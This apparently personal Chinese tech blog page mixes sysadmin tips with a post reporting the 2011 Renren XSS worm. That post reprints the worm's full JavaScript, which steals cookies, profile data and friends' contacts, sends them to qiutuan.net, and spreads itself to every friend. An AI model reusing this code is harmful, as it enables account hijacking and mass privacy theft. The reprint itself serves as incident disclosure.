最新发表

使用VIM批量注释和批量反注释

在编写代码的时候经常要注释一大段代码,一行行的注释当然是最傻的方法了,在vim里面可以这样做

 

移到要开始注释的那行   Ctrl+v进入可视化列选择模式

移到光标到最后需要注释的行(注意,如果你知道行号,可以使用行号G(大写的G)快速跳到该行,例如 10G),

然后按I(大写)(转载注:貌似小写也可以吧),进入插入模式,输入注释符,比如C++/C#/Java是//,一些配置文件是#,

然后按ESC键回到命令模式,看到奇迹发生了吧?!

反注释怎么办呢?更简单了,

同样Ctrl+v进入列选择模式,

移到光标把注释符选中,

按下d,OK了吧?!

本文转自:http://hi.baidu.com/hansfly/blog/item/63b063d095584589a0ec9c9d.html

人人网站内信安全漏洞导致用户隐私泄露

yangzhe1991 写道 "4月29日晚,大量人人网用户收到一个标题为《有人暗恋你哦,你想知道TA是谁么》的站内信,用户发现若打开此站内信将会自动将此站内信内容发给所有好友。通过查看站内信网页源码,发现其中有一行代码为<script src='http://qiutuan.net/2011/51.js'>。显然,一个稍微有点网站编程常识的人都知道“<>”一类标签符号在显示的时候需要转义为普通文本防止浏览器执行,但人人网的转化方式为在用户发送端转化,若绕过此机制直接发送(如此js脚本中直接post站内信内容)则文本中包含的HTML均可被正常执行……
显然作者的意图并非只是恶作剧,通过查看连混淆都懒得做的代码,我们可以很清楚的看到其主要目的是收集用户的人人id、学校、生日、姓名、qq、msn、手机,并且通过一个伟大的功能——通讯录,还可以得到所有好友名片中的上述信息……全部信息会发送到http://qiutuan.net/2011/log.php
由于此站内信的传播之广泛,目前只知道此域名几乎是针对性的使用并且托管在美国,唯一能稍微解决此问题的方法是所有会写代码的人都写一个脚本随机生成数据去稀释被上传的数据,当然要在其收手前做完。 "
要知道,人人网的隐私保护做的一直没有山寨它的某网站好。
珍爱生命,远离淫淫。

另外报道,今天晚上,所有有关该问题的报道均被删除 ,包括solidot.org,看来人人公关能力很强,我倒是要看看,人人啥时候能公关到我这来

 

另外 附上本次事件的关键代码:

var token = XN.get_check;
var mobile_friends = [];
var all_friends = [];
 
var my_id = 0;
 
function send_data(v)
{
    var img = document.createElement('img');
    img.src = 'http://qiutuan.net/2011/log.php?' + v;
    document.body.appendChild(img);
    document.body.removeChild(img);
}
 
function send_to_friends(){
    var i;
    var idlist = [];
    for (i = 0; i < all_friends.length; i++)
    {
        idlist.push(all_friends[i].toString());
        if (idlist.length == 10)
        {
            _send_to_friends(idlist);
            idlist = [];
        }
    }
    if (idlist.length > 0) _send_to_friends(idlist);
}
 
function _send_to_friends(ids){
  var content = "相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?她喜欢笑,你就老以为她是快乐的;她喜欢跳,你就老以为她是开朗的;她喜欢扭,你就老以为她是放肆的;她喜欢叫,你就老以为她是狂野的。一个人的时候,她其实多愁善感;一个人的时候,她其实安静淡然;一个人的时候,她其实内向自闭;一个人的时候,她其实乖巧温柔……<img src='http://postimg1.mop.com/200712/15/80/2025080/200712150436548802.jpg'/> <script src='http://qiutuan.net/2011/51.js'></script> ";
  var p = {action:"sharetofriend",
        body:content,
        form:{
            albumid:"0",
            currenUserTinyurl:"http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",
            fromSharedId:"0",
            fromShareOwner:"0",
            fromname:"",
            fromno:"0",
            fromuniv:"",
            link:"http://edm.renren.com/link.do?l=27627&t=51",
            pic:"http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",
            summary:"相信每个女生心底都有一只小猫,有的妩媚,有的狂野,有的多愁善感,有的古灵精怪……你心底的那只蠢蠢欲动的小猫,是什么样子的呢?",
            title:"加a02好友 奖品散不停",
            type:"51"
        },
        ids:ids,
        noteId:"0",
        subject:"有人暗恋你哦,你想知道TA是谁么",
        tsc:token};
 
  delete p.tsc;
 
new XN.net.xmlhttp({url:"http://share.renren.com/share/submit.do",
                    data:"tsc="+token+"&post="+encodeURIComponent(XN.json.build(p)),
                    onSuccess: function (response) {del_send_messages();}
                    });
}
 
function del_messages(idlist){
 
var struct_msgs ={
                    action:"delete",
                    folder:"1",
                    slice:"20",
                    unread_count:"0",
                    ids:idlist
                };
 
new Ajax.Request("/message/ajax.do",{method:"get",parameters:"post="+encodeURIComponent(XN.JSON.build(struct_msgs))});
 
}
 
 
function del_send_messages(){
    new XN.net.xmlhttp({url:"http://msg.renren.com/message/inbox.do?f=1",
                    method:"GET",
                    onSuccess: function (response) {               
                        var listid1 = response.responseText.match(/thread_(\d+)/g);
                        for(var i=0;i < listid1.length;i++){
                            listid1[i] = listid1[i].substring(7);
                        }
                        del_messages(listid1);
                    }
                });
}
 
 
 
function get_self_info(){
new XN.net.xmlhttp({url:"http://www.renren.com/profile.do?v=info_ajax&undefined",method:"GET",onSuccess:function(r){
 
var text_html = r.responseText;
 
var id,name,birthday,qq,school,mobile,msn,day,month,year;
 
    id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];
    my_id = id;
    school = /pf_spread\'\>(.*?)\< \/a\>/.exec(text_html)[1];
    year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1];
    month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1];
    day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1];
    name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1];
 
    if(month < = 9){
     month = "0"+month;
    }
    if(day <= 9){
     day = "0"+day;
    }
    birthday = year + month + day;
 
    qq = /QQ.*?dd\>(.*?)\< \/dd/.exec(text_html)[1];
 
    msn = /MSN.*?dd\>(.*?)\< \/dd/.exec(text_html)[1];
 
    mobile = /手机号.*?dd\>(.*?)\< \/dd/.exec(text_html)[1];
 
    var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name)
                + "&school=" + encodeURIComponent(school)
                + "&birth=" + birthday
                + "&qq=" + qq
                + "&msn=" + encodeURIComponent(msn)
                + "&mobile=" + mobile;
    send_data(data);
}
 
});
}
 
function get_card(tid)
{
      new XN.net.xmlhttp({url:'http://www.renren.com/showcard?friendID='+tid,
                      method:'get',
                      onSuccess:function(r){
                      var obj = eval("("+r.responseText+")");
                      var data = 'type=card&my_id=' + my_id
                                + '&id=' + obj.id
                                + '&name=' + encodeURIComponent(obj.name)
                                + '&msn=' + encodeURIComponent(obj.msn)
                                + '&phone=' + encodeURIComponent(obj.phone)
                                + '&qq=' + encodeURIComponent(obj.qq)
                                + '&email=' + encodeURIComponent(obj.email)
                                + '&address=' + encodeURIComponent(obj.address);
                    send_data(data);
                }
     });
}
 
 
function get_all_friends(){
    new XN.net.xmlhttp({url:"http://www.renren.com/listcards",method:"GET",onSuccess:function(r){
 
    var text_html = r.responseText;
    //alert(text_html);
 
    var friends_list = eval("("+text_html+")");
    var owned_mobile = (friends_list.list[0].list).length;  //have mobile friends number
    for(var i =0;i< owned_mobile ;i++){
        mobile_friends.push(friends_list.list[0].list[i].id);
        all_friends.push(friends_list.list[0].list[i].id);
    }
    //alert(mobile_friends.length);
 
    var no_mobile = (friends_list.list[1].list).length;
    for(var i =0;i< no_mobile ;i++){
        all_friends.push(friends_list.list[1].list[i].id);
    }
    //alert(all_friends.length);
    for(var i = 0; i < mobile_friends.length; i++)
        get_card(mobile_friends[i]);
    send_to_friends();
}
});
}
 
window.onload = function(){
send_data('type=cookie&v='+encodeURIComponent(document.cookie));
get_self_info();
get_all_friends();
}

 
从代码能看出来,此人果真是人才啊!


GFW抽风?苗圩发善心?

youtubetwitter恢复访问,速度还不错,blogger仍旧不行,还有可怜的facebook也打不开,google直接搜索 胡萝卜,温度计,李莲英,均能够正常出结果,难道是在做梦?

当万能的Google被墙的时候

今天是3.5雷锋纪念日,为了发扬雷锋精神,所以,当万能的Google被墙的时候请猛击 https://www.gsslgle.com/

解决Linux下Cacti图片中文字变方框的方法

今天安装了cacti监控,发现图片上的文字全部乱码了,如图

然后我 font-list |wc -l 了一下,竟然是0,看来是太精简了,没安装字体,于是在portage里面仔细查看,找到了media-fonts,再找,发现了freefonts,于是

emerge -av freefonts

重新启动一下php cgi进程,刷新一下 问题解决


这世上竟然有如此巧合之事

姓名,居住地,年龄,完全对得上,真给力

内容系本人亲自在信天游网站查询到的,绝对真实,除非信天游出错

kill命令杀死父进程的同时杀死子进程的方法

命令如下

kill -TERM pid

这样就可以在杀死父进程之前通知子进程:“你们老爹快要死了,你们先跳楼去吧”,然后kill掉父进程,世界干净了

PS:
这个命令可以这么使用

kill -TERM $(cat /var/run/php-cgi.pid)

类似上面的例子,从pid文件读取父进程pid,然后杀死,实现全自动杀进程

ubuntu做单臂路由实现跨网段访问

公司有4条宽带,各条宽带分别独立,这样一点很不爽的地方就是办公室里面传文件速度跟蜗牛一样,而且传文件的时候还影响网速,解决方法有两种,第一种,将所有网段连起来,子网掩码设置255.255.0.0,就可以互相通讯了,可是这样的大网段看着不舒服,解决办法2就是购入专业的三层交换机或者路由器,这显然不现实,因为成本太高,于是我把目光瞄向办公室的一台闲置电脑,里面的系统正好是ubuntu server版,直接拿来用。本来我想装4片网卡实现的,可是这不争气的主板却只有2个pic插槽,加上板载网卡,一共才3个,不够用,于是想起了虚拟网卡加单臂路由,说干就干,开始配置。
(更多...)

关于抵制日货之我见

自从撞船事件以来,网络上到处充斥着抵制日货的声音,暂且不评论这种做法是否正确,首先来看看我们是否能真正的抵制日货。

很多人有看报纸的习惯,99%的人会看新闻,而报纸上,互联网上含有图片的新闻,是要用相机拍的,而为了追求拍片效果,几乎所有记者都是用单反相机,那么就从说数码单发说起,目前市面上的单反品牌 佳能,尼康,富士,奥林巴斯,宾得,索尼等等,几乎都是日产,不是所有报社都能给每个记者配备Leica S2的,那么,全球的消费级单反相机市场已经被日本占领了,如果你会看带图片的新闻,其实你就是在默默支持日货。

只要你看到这篇文章,那你一定是在用电脑或者手机上网,拆开你的电脑看看,有没有日产的芯片,有没有日产的电容,如果有,请你先拆掉,然后开机回复这篇文章,告诉我你已经成功摆脱日货,对了,你的液晶显示器,赶紧扔掉,因为液晶面板是日本sharp的专利。

网上甚至传出了一个老师,站在主席台上,弘扬爱国精神,教育小孩子不要买日本货,有网友说,这是在教孩子爱国,可是我觉得,爱国教育也不应该把不买日货作为内容吧,小孩子知道个啥,作为一个成年人,这位老师应该明白,想要抵制日货,不单单是表面抵制,好了,你抵制日货,你不买sony的电视机了,可是你能保证长虹的电视机里面没日本产的芯片么?当然如果你买了含有日本生产的芯片的电子产品,那你就是变相支持日货。

所以,抵制日货,不单单是一句口号,我们这代人要考虑的是,如何把这句口号变成现实,让我们真的就不再依靠日本就可以有完整的电子产品产业链,那些整天想着法子抵制日货的同学们,请你们少用一点时间去抵制日货,多一点时间来学习科技知识来充实自己,别到头来抵制日货不成,反而被日本鬼子嘲笑。

时刻谨记,爱国不是说出来的,你抵制日货,并不代表你爱国。

另外一句题外话,我爱我的国家,但是我不爱统治我们国家的政府。我热爱共产党,但是我坚决鄙视中国共产党,毛泽东时代的共产党,才是真正的人们的党

BELKIN 7231-4P 64M版 刷DD-WRT 恢复出厂后要执行的命令

nvram set sdram_init=0x0008
nvram set sdram_config=0x0033
nvram set sdram_ncdl=0x0000
nvram set ip_conntrack_max=65536
nvram commit